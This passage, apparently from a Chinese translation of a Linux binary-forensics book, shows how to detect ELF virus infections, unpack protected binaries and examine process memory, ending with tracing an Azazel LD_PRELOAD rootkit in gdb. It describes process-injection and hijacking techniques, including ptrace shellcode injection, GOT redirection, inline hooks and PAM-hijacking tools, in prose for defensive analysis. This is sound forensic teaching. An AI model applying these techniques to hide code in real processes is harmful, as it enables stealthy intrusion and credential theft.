插图 - 显示文本段填充感染的图表

以下是lpv感染文件的 ELF 文件头:

$ readelf -h infected.lpv
ELF Header:
  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
  Class:                             ELF32
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           Intel 80386
  Version:                           0x1
 Entry point address:               0x80485b8
  Start of program headers:          52 (bytes into file)
  Start of section headers:          8524 (bytes into file)
  Flags:                             0x0
  Size of this header:               52 (bytes)
  Size of program headers:           32 (bytes)
  Number of program headers:         9
  Size of section headers:           40 (bytes)
  Number of section headers:         30
  Section header string table index: 27

注意入口地址0x80485b8。这个地址是否指向.text段的内部?让我们来看一下段头表,找出答案。

以下是lpv感染文件的 ELF 段头:

$ readelf -S infected.lpv
There are 30 section headers, starting at offset 0x214c:

Section Headers:
  [Nr] Name              Type         Addr        Off
       Size              ES           Flg Lk Inf Al
  [ 0]                   NULL         00000000    000000
       000000            00           0   0  0
  [ 1] .interp           PROGBITS     08048154    000154
       000013            00           A   0  0   1
  [ 2] .note.ABI-tag     NOTE         08048168    000168
       000020            00           A   0  0   4
  [ 3] .note.gnu.build-i NOTE         08048188    000188
       000024            00           A   0  0   4
  [ 4] .gnu.hash         GNU_HASH     080481ac    0001ac
       000020            04           A   5  0   4
  [ 5] .dynsym           DYNSYM       080481cc    0001cc
       000050            10           A   6  1   4
  [ 6] .dynstr           STRTAB       0804821c    00021c
       00004a            00           A   0  0   1
  [ 7] .gnu.version      VERSYM       08048266    000266
       00000a            02           A   5  0   2
  [ 8] .gnu.version_r    VERNEED      08048270    000270
       000020            00           A   6  1   4
  [ 9] .rel.dyn          REL          08048290    000290
       000008            08           A   5  0   4
  [10] .rel.plt          REL          08048298    000298
       000018            08           A   5  12  4
  [11] .init             PROGBITS     080482b0    0002b0
       000023            00           AX  0  0   4
  [12] .plt              PROGBITS     080482e0    0002e0
       000040            04           AX  0  0   16

  [13] .text             PROGBITS     08048320    000320
       000192            00           AX  0  0   16
  [14] .fini             PROGBITS     080484b4    0004b4
       000014            00           AX  0  0   4
  [15] .rodata           PROGBITS     080484c8    0004c8
       000014            00           A   0  0   4
  [16] .eh_frame_hdr     PROGBITS     080484dc    0004dc
       00002c            00           A   0  0   4
 [17] .eh_frame         PROGBITS     08048508    000508
 00083b            00           A   0  0   4
  [18] .init_array       INIT_ARRAY   08049f08    001f08
       000004            00           WA   0  0   4
  [19] .fini_array       FINI_ARRAY   08049f0c    001f0c
       000004            00           WA   0  0   4
  [20] .jcr              PROGBITS     08049f10    001f10
       000004            00           WA   0  0   4
  [21] .dynamic          DYNAMIC      08049f14    001f14
       0000e8            08           WA   6  0   4
  [22] .got              PROGBITS     08049ffc    001ffc
       000004            04           WA   0  0   4
  [23] .got.plt          PROGBITS     0804a000    002000
       000018            04           WA   0  0   4
  [24] .data             PROGBITS     0804a018    002018
       000008            00           WA   0  0   4
  [25] .bss              NOBITS       0804a020    002020
       000004            00           WA   0  0   1
  [26] .comment          PROGBITS     00000000    002020
       000024            01           MS   0  0   1
  [27] .shstrtab         STRTAB       00000000    002044
       000106            00           0   0  1
  [28] .symtab           SYMTAB       00000000    0025fc
       000430            10           29  45 4
  [29] .strtab           STRTAB       00000000    002a2c
       00024f            00           0   0  1

入口地址位于.eh_frame部分内,这是文本段中的最后一个部分。这显然不是.text部分,这足以立即引起怀疑,因为.eh_frame部分是文本段中的最后一个部分(你可以通过使用readelf -l来验证),我们能够推断出这种病毒感染可能是使用文本段填充感染。以下是lpv感染文件的 ELF 程序头:

$ readelf -l infected.lpv

Elf file type is EXEC (Executable file)
Entry point 0x80485b8
There are 9 program headers, starting at offset 52

Program Headers:
  Type          Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  PHDR          0x000034 0x08048034 0x08048034 0x00120 0x00120 R E 0x4
  INTERP        0x000154 0x08048154 0x08048154 0x00013 0x00013 R   0x1
      [Requesting program interpreter: /lib/ld-linux.so.2]
 LOAD          0x000000 0x08048000 0x08048000 0x00d43 0x00d43 R E 0x1000
  LOAD          0x001f08 0x08049f08 0x08049f08 0x00118 0x0011c RW  0x1000
  DYNAMIC       0x001f14 0x08049f14 0x08049f14 0x000e8 0x000e8 RW  0x4
  NOTE          0x001168 0x08048168 0x08048168 0x00044 0x00044 R   0x4
  GNU_EH_FRAME  0x0014dc 0x080484dc 0x080484dc 0x0002c 0x0002c R   0x4
  GNU_STACK     0x001000 0x00000000 0x00000000 0x00000 0x00000 RW  0x10
  GNU_RELRO     0x001f08 0x08049f08 0x08049f08 0x000f8 0x000f8 R   0x1

 Section to Segment mapping:
  Segment Sections...
   00     
   01     .interp
   02     .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame
   03     .init_array .fini_array .jcr .dynamic .got .got.plt .data .bss
   04     .dynamic
   05     
   06     
   07     
   08     .init_array .fini_array .jcr .dynamic .got

根据前面的程序头输出中突出显示的一切,你可以看到程序入口点、文本段(第一个LOAD程序头)以及事实上.eh_frame是文本段中的最后一个部分。

识别受保护的二进制文件

识别受保护的二进制文件是逆向工程的第一步。我们在第五章中讨论了受保护的 ELF 可执行文件的常见解剖结构,Linux 二进制保护。根据我们所学到的,受保护的二进制实际上是两个合并在一起的可执行文件:你有存根可执行文件(解密程序),然后是目标可执行文件。

一个程序负责解密另一个程序,通常这个程序会包含一个加密的二进制文件,作为一种有效载荷。识别这个外部程序,我们称之为存根,通常是相当容易的,因为你会在程序头表中看到明显的奇怪之处。

让我们来看一个使用我在 2009 年编写的elfcrypt保护的 64 位 ELF 二进制文件:

$ readelf -l test.elfcrypt

Elf file type is EXEC (Executable file)
Entry point 0xa01136
There are 2 program headers, starting at offset 64

Program Headers:
  Type           Offset             VirtAddr           PhysAddr
                 FileSiz            MemSiz              Flags  Align
  LOAD           0x0000000000000000 0x0000000000a00000 0x0000000000a00000
                 0x0000000000002470 0x0000000000002470  R E    1000
  LOAD           0x0000000000003000 0x0000000000c03000 0x0000000000c03000
                 0x000000000003a23f 0x000000000003b4df  RW     1000

那么我们在这里看到了什么?或者更确切地说,我们没有看到什么?

这几乎看起来像是一个静态编译的可执行文件,因为没有PT_DYNAMIC段,也没有PT_INTERP段。然而,如果我们运行这个二进制文件并检查/proc/$pid/maps,我们会发现这不是一个静态编译的二进制文件,而是动态链接的。

以下是受保护二进制文件中/proc/$pid/maps的输出:

7fa7e5d44000-7fa7e9d43000 rwxp 00000000 00:00 0
7fa7e9d43000-7fa7ea146000 rw-p 00000000 00:00 0
7fa7ea146000-7fa7ea301000 r-xp 00000000 08:01 11406096  /lib/x86_64-linux-gnu/libc-2.19.so7fa7ea301000-7fa7ea500000 ---p 001bb000 08:01 11406096  /lib/x86_64-linux-gnu/libc-2.19.so
7fa7ea500000-7fa7ea504000 r--p 001ba000 08:01 11406096  /lib/x86_64-linux-gnu/libc-2.19.so
7fa7ea504000-7fa7ea506000 rw-p 001be000 08:01 11406096  /lib/x86_64-linux-gnu/libc-2.19.so
7fa7ea506000-7fa7ea50b000 rw-p 00000000 00:00 0
7fa7ea530000-7fa7ea534000 rw-p 00000000 00:00 0
7fa7ea535000-7fa7ea634000 rwxp 00000000 00:00 0                          [stack:8176]
7fa7ea634000-7fa7ea657000 rwxp 00000000 00:00 0
7fa7ea657000-7fa7ea6a1000 r--p 00000000 08:01 11406093  /lib/x86_64-linux-gnu/ld-2.19.so
7fa7ea6a1000-7fa7ea6a5000 rw-p 00000000 00:00 0
7fa7ea856000-7fa7ea857000 r--p 00000000 00:00 0

我们可以清楚地看到动态链接器被映射到进程地址空间中,libc 也是如此。正如在第五章中讨论的那样,这是因为保护存根负责加载动态链接器并设置辅助向量。

从程序头输出中,我们还可以看到文本段地址是0xa00000,这是不寻常的。在 x86_64 Linux 中用于编译可执行文件的默认链接器脚本将文本地址定义为0x400000,在 32 位系统上是0x8048000。文本地址与默认值不同并不意味着有任何恶意行为,但应立即引起怀疑。在二进制保护程序的情况下,存根必须具有不与其保护的自嵌入可执行文件的虚拟地址冲突的虚拟地址。

分析受保护的二进制文件

真正有效的二进制保护方案不太容易被绕过,但在大多数情况下,您可以使用一些中间的逆向工程方法来突破加密层。存根负责解密其中的自嵌可执行文件,因此可以从内存中提取。诀窍是允许存根运行足够长的时间,以将加密的可执行文件映射到内存并解密它。

可以使用一个非常通用的算法,它倾向于在简单的保护程序上起作用,特别是如果它们不包含任何反调试技术。

  1. 确定存根文本段中的近似指令数,表示为 N。

  2. 跟踪 N 条指令的程序。

  3. 从文本段的预期位置(例如0x400000)转储内存,并使用新发现的文本段的程序头找到其数据段。

这种简单技术的一个很好的例子可以用我在 2008 年编写的 32 位 ELF 操作软件 Quenya 来演示。

注意

UPX 不使用任何反调试技术,因此相对来说解包相对简单。

以下是一个打包可执行文件的程序头:

$ readelf -l test.packed

Elf file type is EXEC (Executable file)
Entry point 0xc0c500
There are 2 program headers, starting at offset 52

Program Headers:
  Type          Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  LOAD          0x000000 0x00c01000 0x00c01000 0x0bd03 0x0bd03 R E 0x1000
  LOAD          0x000f94 0x08063f94 0x08063f94 0x00000 0x00000 RW  0x1000

我们可以看到存根从0xc01000开始,并且 Quenya 将假定真正的文本段位于 32 位 ELF 可执行文件的预期地址:0x8048000

这里是 Quenya 使用其解包功能来解压test.packed

$ quenya

Welcome to Quenya v0.1 -- the ELF modification and analysis tool
Designed and maintained by ElfMaster

Type 'help' for a list of commands
[Quenya v0.1@workshop] unpack test.packed test.unpacked
Text segment size: 48387 bytes
[+] Beginning analysis for executable reconstruction of process image (pid: 2751)
[+] Getting Loadable segment info...
[+] Found loadable segments: text segment, data segment
[+] text_vaddr: 0x8048000 text_offset: 0x0
[+] data_vaddr: 0x8062ef8 data_offset: 0x19ef8
[+] Dynamic segment location successful
[+] PLT/GOT Location: Failed
[+] Could not locate PLT/GOT within dynamic segment; attempting to skip PLT patches...
Opening output file: test.unpacked
Successfully created executable

正如我们所看到的,Quenya 解包功能据称已解包了 UPX 打包的可执行文件。我们可以通过简单查看解包后的可执行文件的程序头来验证这一点。

readelf -l test.unpacked

Elf file type is EXEC (Executable file)
Entry point 0x804c041
There are 9 program headers, starting at offset 52

Program Headers:
  Type          Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  PHDR          0x000034 0x08048034 0x08048034 0x00120 0x00120 R E 0x4
  INTERP        0x000154 0x08048154 0x08048154 0x00013 0x00013 R   0x1
      [Requesting program interpreter: /lib/ld-linux.so.2]
  LOAD          0x000000 0x08048000 0x08048000 0x19b80 0x19b80 R E 0x1000
  LOAD          0x019ef8 0x08062ef8 0x08062ef8 0x00448 0x0109c RW  0x1000
  DYNAMIC       0x019f04 0x08062f04 0x08062f04 0x000f8 0x000f8 RW  0x4
  NOTE          0x000168 0x08048168 0x08048168 0x00044 0x00044 R   0x4
  GNU_EH_FRAME  0x016508 0x0805e508 0x0805e508 0x00744 0x00744 R   0x4
  GNU_STACK     0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0x10
  GNU_RELRO     0x019ef8 0x08062ef8 0x08062ef8 0x00108 0x00108 R   0x1

请注意,程序头与我们之前查看的程序头完全不同,当可执行文件仍然被打包时。这是因为我们不再查看存根可执行文件。我们正在查看存根内部压缩的可执行文件。我们使用的解包技术非常通用,对于更复杂的保护方案效果不是很好,但有助于初学者了解保护二进制的逆向过程。

IDA Pro

由于本书试图专注于 ELF 格式的解剖和分析修补技术背后的概念,我们不太关注使用哪些花哨的工具。非常著名的 IDA Pro 软件享有当之无愧的声誉。它是公开可用的最好的反汇编器和反编译器。它虽然昂贵,但除非您能负担得起许可证,否则您可能需要接受一些效果稍逊的东西,比如 Hopper。IDA Pro 相当复杂,需要一本专门的书来介绍,但为了正确理解和使用 IDA Pro 来逆向工程软件,最好先理解本书教授的概念,然后在使用 IDA Pro 时应用这些概念。

摘要

在本章中,您学习了 ELF 二进制分析的基础知识。您研究了识别各种类型的病毒感染、函数劫持和二进制保护所涉及的程序。本章将在 ELF 二进制分析的初学者到中级阶段为您提供帮助:要寻找什么以及如何识别它。在接下来的章节中,您将涵盖类似的概念,例如分析进程内存以识别后门和驻留内存病毒等异常。

对于那些想了解本章描述的方法如何在反病毒或检测软件开发中使用的人,我设计了一些工具,这些工具使用了类似于本章描述的启发式方法来检测 ELF 感染。其中一个工具叫做 AVU,在第四章中提到过,并附有下载链接。另一个工具叫做 Arcana,目前还是私有的。我个人还没有看到市面上有任何使用这些启发式方法来检测 ELF 二进制文件的公开产品,尽管这样的工具在 Linux 二进制取证方面是非常需要的。在第八章中,我们将探讨 ECFS,这是我一直在努力改进的技术,特别是在涉及进程内存取证方面的能力不足的领域。

第七章:进程内存取证

在上一章中,我们检查了在 Linux 中分析 ELF 二进制文件时的关键方法和方法,特别是在涉及恶意软件时,以及检测可执行代码中寄生体存在的方法。

正如攻击者可能会在磁盘上对二进制文件进行打补丁一样,他们也可能会在内存中对运行的程序进行打补丁,以实现类似的目标,同时避免被寻找文件修改的程序检测到,比如 tripwire。这种对进程映像的热打补丁可以用于劫持函数、注入共享库、执行寄生壳代码等。这些类型的感染通常是内存驻留后门、病毒、键盘记录器和隐藏进程所需的组件。

注意

攻击者可以运行复杂的程序,这些程序将在现有进程地址空间内运行。这已经在 Saruman v0.1 中得到证明,可以在www.bitlackeys.org/#saruman找到。

在进行取证或运行时分析时,对进程映像的检查与查看常规 ELF 二进制文件非常相似。在进程地址空间中有更多的段和整体移动部分,ELF 可执行文件将经历一些变化,例如运行时重定位、段对齐和.bss 扩展。

然而,实际上,对 ELF 可执行文件和实际运行的程序进行调查步骤非常相似。运行的程序最初是由加载到地址空间的 ELF 映像创建的。因此,了解 ELF 格式将有助于理解进程在内存中的外观。

进程的外观是什么样的?

在任何 Linux 系统上,一个重要的文件是/proc/$pid/maps文件。这个文件显示了运行程序的整个进程地址空间,我经常解析它以确定某些文件或内存映射在进程中的位置。

在具有 Grsecurity 补丁的 Linux 内核上,有一个名为 GRKERNSEC_PROC_MEMMAP 的内核选项,如果启用,将清零/proc/$pid/maps文件,以便您无法看到地址空间的值。这使得从外部解析进程变得更加困难,您必须依赖其他技术,如解析 ELF 头文件并从那里开始。

注意

在下一章中,我们将讨论ECFS(扩展核心文件快照)格式,这是一种新的 ELF 文件格式,它扩展了常规核心文件,并包含大量取证相关的数据。

以下是hello_world程序的进程内存布局示例:

$ cat /proc/`pidof hello_world`/maps
00400000-00401000 r-xp 00000000 00:1b 8126525    /home/ryan/hello_world
00600000-00601000 r--p 00000000 00:1b 8126525    /home/ryan/hello_world
00601000-00602000 rw-p 00001000 00:1b 8126525    /home/ryan/hello_world
0174e000-0176f000 rw-p 00000000 00:00 0          [heap]
7fed9c5a7000-7fed9c762000 r-xp 00000000 08:01 11406096   /lib/x86_64-linux-gnu/libc-2.19.so
7fed9c762000-7fed9c961000 ---p 001bb000 08:01 11406096   /lib/x86_64-linux-gnu/libc-2.19.so
7fed9c961000-7fed9c965000 r--p 001ba000 08:01 11406096   /lib/x86_64-linux-gnu/libc-2.19.so
7fed9c965000-7fed9c967000 rw-p 001be000 08:01 11406096   /lib/x86_64-linux-gnu/libc-2.19.so
7fed9c967000-7fed9c96c000 rw-p 00000000 00:00 0
7fed9c96c000-7fed9c98f000 r-xp 00000000 08:01 11406093   /lib/x86_64-linux-gnu/ld-2.19.so
7fed9cb62000-7fed9cb65000 rw-p 00000000 00:00 0
7fed9cb8c000-7fed9cb8e000 rw-p 00000000 00:00 0
7fed9cb8e000-7fed9cb8f000 r--p 00022000 08:01 11406093   /lib/x86_64-linux-gnu/ld-2.19.so
7fed9cb8f000-7fed9cb90000 rw-p 00023000 08:01 11406093   /lib/x86_64-linux-gnu/ld-2.19.so
7fed9cb90000-7fed9cb91000 rw-p 00000000 00:00 0
7fff0975f000-7fff09780000 rw-p 00000000 00:00 0          [stack]
7fff097b2000-7fff097b4000 r-xp 00000000 00:00 0          [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0  [vsyscall]

前面的 maps 文件输出显示了一个非常简单的Hello World程序的进程地址空间。让我们分几块来解释每个部分。

可执行内存映射

前三行是可执行文件本身的内存映射。这是相当明显的,因为它显示了文件映射的末尾处的可执行路径:

00400000-00401000 r-xp 00000000 00:1b 8126525  /home/ryan/hello_world
00600000-00601000 r--p 00000000 00:1b 8126525  /home/ryan/hello_world
00601000-00602000 rw-p 00001000 00:1b 8126525  /home/ryan/hello_world

我们可以看到:

  • 第一行是文本段,很容易识别,因为权限是读取加执行

  • 第二行是数据段的第一部分,由于 RELRO(只读重定位)安全保护而被标记为只读

  • 第三个映射是仍然可写的数据段的剩余部分

程序堆

堆通常在数据段之后增长。在 ASLR 存在之前,它是从数据段地址的末尾扩展的。如今,堆段是随机内存映射的,但可以在maps文件中在数据段结束后找到:

0174e000-0176f000 rw-p 00000000 00:00 0          [heap]

当调用malloc()请求一个超过MMAP_THRESHOLD大小的内存块时,还可能创建匿名内存映射。这些类型的匿名内存段不会被标记为[heap]

共享库映射

接下来的四行是共享库libc-2.19.so的内存映射。请注意,在文本和数据段之间有一个标记为无权限的内存映射。这只是为了占据该区域的空间,以便不会创建其他任意内存映射来使用文本和数据段之间的空间:

7fed9c5a7000-7fed9c762000 r-xp 00000000 08:01 11406096   /lib/x86_64-linux-gnu/libc-2.19.so
7fed9c762000-7fed9c961000 ---p 001bb000 08:01 11406096   /lib/x86_64-linux-gnu/libc-2.19.so
7fed9c961000-7fed9c965000 r--p 001ba000 08:01 11406096   /lib/x86_64-linux-gnu/libc-2.19.so
7fed9c965000-7fed9c967000 rw-p 001be000 08:01 11406096   /lib/x86_64-linux-gnu/libc-2.19.so

除了常规的共享库之外,还有动态链接器,从技术上讲也是一个共享库。我们可以看到它通过查看libc映射后的文件映射来映射到地址空间:

7fed9c96c000-7fed9c98f000 r-xp 00000000 08:01 11406093   /lib/x86_64-linux-gnu/ld-2.19.so
7fed9cb62000-7fed9cb65000 rw-p 00000000 00:00 0
7fed9cb8c000-7fed9cb8e000 rw-p 00000000 00:00 0
7fed9cb8e000-7fed9cb8f000 r--p 00022000 08:01 11406093   /lib/x86_64-linux-gnu/ld-2.19.so
7fed9cb8f000-7fed9cb90000 rw-p 00023000 08:01 11406093   /lib/x86_64-linux-gnu/ld-2.19.so
7fed9cb90000-7fed9cb91000 rw-p 00000000 00:00 0

栈、vdso 和 vsyscall

在映射文件的末尾,您将看到栈段,接着是VDSO虚拟动态共享对象)和 vsyscall:

7fff0975f000-7fff09780000 rw-p 00000000 00:00 0          [stack]
7fff097b2000-7fff097b4000 r-xp 00000000 00:00 0          [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0  [vsyscall]

VDSO 是glibc用来调用频繁调用的系统调用的,否则会导致性能问题。VDSO 通过在用户空间执行某些 syscalls 来加快速度。在 x86_64 上,vsyscall 页面已被弃用,但在 32 位上,它实现了与 VDSO 相同的功能。

栈、vdso 和 vsyscall

进程是什么样子的

进程内存感染

有许多 rootkits、病毒、后门和其他工具可以用来感染系统的用户空间内存。我们现在将命名并描述其中的一些。

进程感染工具

  • Azazel:这是一个简单但有效的 Linux 用户空间 rootkit,基于其前身 rootkit Jynx。LD_PRELOAD rootkits 将预加载一个共享对象到您想要感染的程序中。通常,这样的 rootkit 将劫持函数,如 open、read、write 等。这些被劫持的函数将显示为 PLT 钩子(修改的 GOT)。有关更多信息,请访问github.com/chokepoint/azazel

  • Saruman:这是一种相对较新的反取证感染技术,允许用户将完整的动态链接可执行文件注入到现有进程中。注入者和被注入者将在相同的地址空间内同时运行。这允许隐秘和高级的远程进程感染。有关更多信息,请访问github.com/elfmaster/saruman

  • sshd_fucker(phrack .so 注入论文)sshd_fucker是随 Phrack 59 论文Runtime process infection一起提供的软件。该软件感染 sshd 进程并劫持 PAM 函数,用户名和密码通过这些函数传递。有关更多信息,请访问phrack.org/issues/59/8.html

进程感染技术

进程感染是什么意思?对于我们的目的,这意味着描述将代码注入进程、劫持函数、劫持控制流和反取证技巧,以使分析更加困难。这些技术中的许多在第四章中已经涵盖,ELF 病毒技术- Linux/Unix 病毒,但我们将在这里重述其中的一些。

注入方法

  • ET_DYN(共享对象)注入:这是使用ptrace()系统调用和使用mmap()__libc_dlopen_mode()函数加载共享库文件的 shellcode 来实现的。共享对象可能根本不是共享对象;它可能是一个 PIE 可执行文件,就像 Saruman 感染技术一样,这是一种允许程序在现有进程地址空间内运行的反取证形式。这种技术就是我所说的进程伪装

注意

LD_PRELOAD是另一个常见的技巧,用于将恶意共享库加载到进程地址空间中,以劫持共享库函数。这可以通过验证 PLT/GOT 来检测。还可以分析栈上的环境变量,以找出是否已设置LD_PRELOAD

  • ET_REL(可重定位对象)注入:这里的想法是将可重定位对象文件注入到进程中,用于高级热修补技术。 ptrace 系统调用(或使用ptrace()的程序,如 GDB)可用于将 shellcode 注入到进程中,进而将对象文件内存映射到内存中。

  • PIC 代码(shellcode)注入:将 shellcode 注入到进程通常使用 ptrace 完成。通常,shellcode 是向进程注入更复杂代码(如ET_DYNET_REL文件)的第一阶段。

劫持执行的技术

  • PLT/GOT 重定向:劫持共享库函数最常见的方法是修改给定共享库的 GOT 条目,以便地址反映攻击者注入代码的位置。这本质上与覆盖函数指针相同。我们将在本章后面讨论检测这一点的方法。

  • 内联函数挂钩:这种方法,也称为函数跳板,在磁盘和内存中都很常见。攻击者可以用jmp指令替换函数中的前 5 到 7 个字节的代码,将控制转移到恶意函数。这可以通过扫描每个函数的初始字节代码来轻松检测到。

  • 修补.ctors 和.dtors:二进制文件中的.ctors 和.dtors 部分(可以位于内存中)包含初始化和终结函数的函数指针数组。攻击者可以在磁盘和内存中对其进行修补,使其指向寄生代码。

  • 利用 VDSO 进行系统调用拦截:映射到进程地址空间的 VDSO 页面包含用于调用系统调用的代码。攻击者可以使用ptrace(PTRACE_SYSCALL, ...)来定位这段代码,然后用所需调用的系统调用号替换%rax寄存器。这允许聪明的攻击者在进程中调用任何他们想要的系统调用,而无需注入 shellcode。查看我 2009 年写的这篇论文;它详细描述了这一技术:vxheaven.org/lib/vrn00.html

检测 ET_DYN 注入

我认为最普遍的进程感染类型是 DLL 注入,也称为.so注入。这是一种干净有效的解决方案,适合大多数攻击者和运行时恶意软件的需求。让我们看看一个被感染的进程,我将强调我们可以识别寄生代码的方法。

注意

术语共享对象共享库DLLET_DYN在本书中都是同义词,特别是在本节中。

Azazel 用户态 rootkit 检测

我们的感染进程是一个名为./host的简单测试程序,它被 Azazel 用户态 rootkit 感染。 Azazel 是流行的 Jynx rootkit 的新版本。这两个 rootkit 都依赖于LD_PRELOAD来加载恶意共享库,劫持各种glibc共享库函数。我们将使用各种 GNU 工具和 Linux 环境,如/proc文件系统,来检查被感染的进程。

映射进程地址空间

分析进程时的第一步是映射地址空间。最直接的方法是查看/proc/<pid>/maps文件。我们要注意任何奇怪的文件映射和具有奇怪权限的段。在我们的情况下,我们可能需要检查环境变量的堆栈,因此我们需要注意其在内存中的位置。

注意

pmap <pid>命令也可以用来代替cat /proc/<pid>/maps。我更喜欢直接查看映射文件,因为它显示了每个内存段的整个地址范围以及任何文件映射的完整文件路径,如共享库。

这是一个被感染进程./host的内存映射的示例:

$ cat /proc/`pidof host`/maps
00400000-00401000 r-xp 00000000 00:24 5553671       /home/user/git/azazel/host
00600000-00601000 r--p 00000000 00:24 5553671       /home/user/git/azazel/host
00601000-00602000 rw-p 00001000 00:24 5553671       /home/user/git/azazel/host
0066c000-0068d000 rw-p 00000000 00:00 0              [heap]
3001000000-3001019000 r-xp 00000000 08:01 11406078  /lib/x86_64-linux-gnu/libaudit.so.1.0.0
3001019000-3001218000 ---p 00019000 08:01 11406078  /lib/x86_64-linux-gnu/libaudit.so.1.0.0
3001218000-3001219000 r--p 00018000 08:01 11406078  /lib/x86_64-linux-gnu/libaudit.so.1.0.0
3001219000-300121a000 rw-p 00019000 08:01 11406078  /lib/x86_64-linux-gnu/libaudit.so.1.0.0
300121a000-3001224000 rw-p 00000000 00:00 0
3003400000-300340d000 r-xp 00000000 08:01 11406085    /lib/x86_64-linux-gnu/libpam.so.0.83.1
300340d000-300360c000 ---p 0000d000 08:01 11406085    /lib/x86_64-linux-gnu/libpam.so.0.83.1
300360c000-300360d000 r--p 0000c000 08:01 11406085    /lib/x86_64-linux-gnu/libpam.so.0.83.1
300360d000-300360e000 rw-p 0000d000 08:01 11406085    /lib/x86_64-linux-gnu/libpam.so.0.83.1
7fc30ac7f000-7fc30ac81000 r-xp 00000000 08:01 11406070 /lib/x86_64-linux-gnu/libutil-2.19.so
7fc30ac81000-7fc30ae80000 ---p 00002000 08:01 11406070 /lib/x86_64-linux-gnu/libutil-2.19.so
7fc30ae80000-7fc30ae81000 r--p 00001000 08:01 11406070 /lib/x86_64-linux-gnu/libutil-2.19.so
7fc30ae81000-7fc30ae82000 rw-p 00002000 08:01 11406070 /lib/x86_64-linux-gnu/libutil-2.19.so
7fc30ae82000-7fc30ae85000 r-xp 00000000 08:01 11406068 /lib/x86_64-linux-gnu/libdl-2.19.so
7fc30ae85000-7fc30b084000 ---p 00003000 08:01 11406068 /lib/x86_64-linux-gnu/libdl-2.19.so
7fc30b084000-7fc30b085000 r--p 00002000 08:01 11406068 /lib/x86_64-linux-gnu/libdl-2.19.so
7fc30b085000-7fc30b086000 rw-p 00003000 08:01 11406068 /lib/x86_64-linux-gnu/libdl-2.19.so
7fc30b086000-7fc30b241000 r-xp 00000000 08:01 11406096 /lib/x86_64-linux-gnu/libc-2.19.so
7fc30b241000-7fc30b440000 ---p 001bb000 08:01 11406096 /lib/x86_64-linux-gnu/libc-2.19.so
7fc30b440000-7fc30b444000 r--p 001ba000 08:01 11406096 /lib/x86_64-linux-gnu/libc-2.19.so
7fc30b444000-7fc30b446000 rw-p 001be000 08:01 11406096 /lib/x86_64-linux-gnu/libc-2.19.so
7fc30b446000-7fc30b44b000 rw-p 00000000 00:00 0
7fc30b44b000-7fc30b453000 r-xp 00000000 00:24 5553672   /home/user/git/azazel/libselinux.so
7fc30b453000-7fc30b652000 ---p 00008000 00:24 5553672   /home/user/git/azazel/libselinux.so
7fc30b652000-7fc30b653000 r--p 00007000 00:24 5553672   /home/user/git/azazel/libselinux.so
7fc30b653000-7fc30b654000 rw-p 00008000 00:24 5553672   /home/user/git/azazel/libselinux.so
7fc30b654000-7fc30b677000 r-xp 00000000 08:01 11406093    /lib/x86_64-linux-gnu/ld-2.19.so
7fc30b847000-7fc30b84c000 rw-p 00000000 00:00 0
7fc30b873000-7fc30b876000 rw-p 00000000 00:00 0
7fc30b876000-7fc30b877000 r--p 00022000 08:01 11406093   /lib/x86_64-linux-gnu/ld-2.19.so
7fc30b877000-7fc30b878000 rw-p 00023000 08:01 11406093   /lib/x86_64-linux-gnu/ld-2.19.so
7fc30b878000-7fc30b879000 rw-p 00000000 00:00 0
7fff82fae000-7fff82fcf000 rw-p 00000000 00:00 0          [stack]
7fff82ffb000-7fff82ffd000 r-xp 00000000 00:00 0          [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0  [vsyscall]

./host进程的 maps 文件的前述输出中突出显示了感兴趣和关注的区域。特别注意具有/home/user/git/azazel/libselinux.so路径的共享库。这应立即引起您的注意,因为该路径不是标准的共享库路径,并且它的名称是libselinux.so,传统上存储在所有其他共享库中(即/usr/lib)。

这可能表明可能存在共享库注入(也称为ET_DYN注入),这意味着这不是真正的libselinux.so库。在这种情况下,我们可能首先检查LD_PRELOAD环境变量,看它是否被用于预加载libselinux.so库。

在堆栈上查找 LD_PRELOAD

程序的环境变量在运行时存储在堆栈的底部附近。堆栈的底部实际上是最高地址(堆栈的开始),因为堆栈在 x86 架构上向较小的地址增长。根据/proc/<pid>/maps的输出,我们可以获得堆栈的位置:

STACK_TOP           STACK_BOTTOM
7fff82fae000   -    7fff82fcf000

因此,我们想要从0x7fff82fcf000开始检查堆栈。使用 GDB,我们可以附加到进程并通过使用x/s <address>命令快速定位堆栈上的环境变量,该命令告诉 GDB 以 ASCII 格式查看内存。x/4096s <address>命令执行相同的操作,但从 4,096 字节的数据中读取。

我们可以合理推测环境变量将位于堆栈的前 4,096 字节内,但由于堆栈向较小地址增长,我们必须从<stack_bottom> - 4096开始读取。

注意

argv 和 envp 指针分别指向命令行参数和环境变量。我们不是在寻找实际的指针,而是这些指针引用的字符串。

以下是使用 GDB 读取堆栈上环境变量的示例:

$ gdb -q attach `pidof host`
$ x/4096s (0x7fff82fcf000 – 4096)

… scroll down a few pages …

0x7fff82fce359:  "./host"
0x7fff82fce360:  "LD_PRELOAD=./libselinux.so"
0x7fff82fce37b:  "XDG_VTNR=7"
---Type <return> to continue, or q <return> to quit---
0x7fff82fce386:  "XDG_SESSION_ID=c2"
0x7fff82fce398:  "CLUTTER_IM_MODULE=xim"
0x7fff82fce3ae:  "SELINUX_INIT=YES"
0x7fff82fce3bf:  "SESSION=ubuntu"
0x7fff82fce3ce:  "GPG_AGENT_INFO=/run/user/1000/keyring-jIVrX2/gpg:0:1"
0x7fff82fce403:  "TERM=xterm"
0x7fff82fce40e:  "SHELL=/bin/bash"

… truncated …

从前述输出中,我们已经验证了LD_PRELOAD被用于预加载libselinux.so到进程中。这意味着程序中任何与预加载共享库中的函数同名的 glibc 函数将被覆盖,并有效地被libselinux.so中的函数劫持。

